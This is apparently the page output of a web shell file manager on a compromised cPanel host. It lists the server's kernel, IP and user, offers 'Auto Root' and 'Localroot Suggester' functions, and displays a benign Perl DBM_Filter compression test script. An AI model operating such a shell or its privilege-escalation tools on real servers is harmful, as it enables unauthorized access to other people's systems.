Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
lib /
DBM_Filter /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
01error.t
4.9
KB
-r--r--r--
2014-12-27 11:48
02core.t
15.32
KB
-r--r--r--
2014-12-27 11:48
compress.t
2.06
KB
-r--r--r--
2014-12-27 11:48
encode.t
2.27
KB
-r--r--r--
2014-12-27 11:48
int32.t
1.58
KB
-r--r--r--
2014-12-27 11:48
null.t
1.59
KB
-r--r--r--
2014-12-27 11:48
utf8.t
1.78
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
use strict; use warnings; use Carp; BEGIN { eval { require Compress::Zlib ; }; if ($@) { print "1..0 # Skip: Compress::Zlib is not available\n"; print "# $@\n"; exit 0; } } require "dbm_filter_util.pl"; use Test::More tests => 23; BEGIN { use_ok('DBM_Filter') }; my $db_file; BEGIN { use Config; foreach (qw/SDBM_File ODBM_File NDBM_File GDBM_File DB_File/) { if ($Config{extensions} =~ /\b$_\b/) { $db_file = $_; last; } } use_ok($db_file); }; BEGIN { use_ok('Fcntl') }; BEGIN { use_ok('Compress::Zlib') }; unlink <Op_dbmx*>; END { unlink <Op_dbmx*>; } my %h1 = () ; my $db1 = tie(%h1, $db_file,'Op_dbmx', O_RDWR|O_CREAT, 0640) ; ok $db1, "tied to $db_file"; # store before adding the filter StoreData(\%h1, { 1234 => 5678, -3 => -5, "22" => "88", "-45" => "-88", "fred" => "Joe", "alpha" => "Alpha", "Beta" => "beta", }); VerifyData(\%h1, { 1234 => 5678, -3 => -5, "22" => "88", "-45" => "-88", "fred" => "Joe", "alpha" => "Alpha", "Beta" => "beta", }); eval { $db1->Filter_Push('compress') }; is $@, '', "push a 'compress' filter" ; { no warnings 'uninitialized'; StoreData(\%h1, { undef() => undef(), "400" => "500", 0 => 1, 1 => 0, "abc" => "de0", "\x00\x01" => "\x03\xFF", }); } undef $db1; { use warnings FATAL => 'untie'; eval { untie %h1 }; is $@, '', "untie without inner references" ; } # read the dbm file without the filter my %h2 = () ; my $db2 = tie(%h2, $db_file,'Op_dbmx', O_RDWR|O_CREAT, 0640) ; ok $db2, "tied to $db_file"; VerifyData(\%h2, { 1234 => 5678, -3 => -5, "22" => "88", "-45" => "-88", "fred" => "Joe", "alpha" => "Alpha", "Beta" => "beta", compress("") => compress(""), compress("400") => compress("500"), compress("0") => compress("1"), compress("1") => compress("0"), compress("abc") => compress("de0"), compress("\x00\x01") => compress("\x03\xFF"), }); undef $db2; { use warnings FATAL => 'untie'; eval { untie %h2 }; is $@, '', "untie without inner references" ; }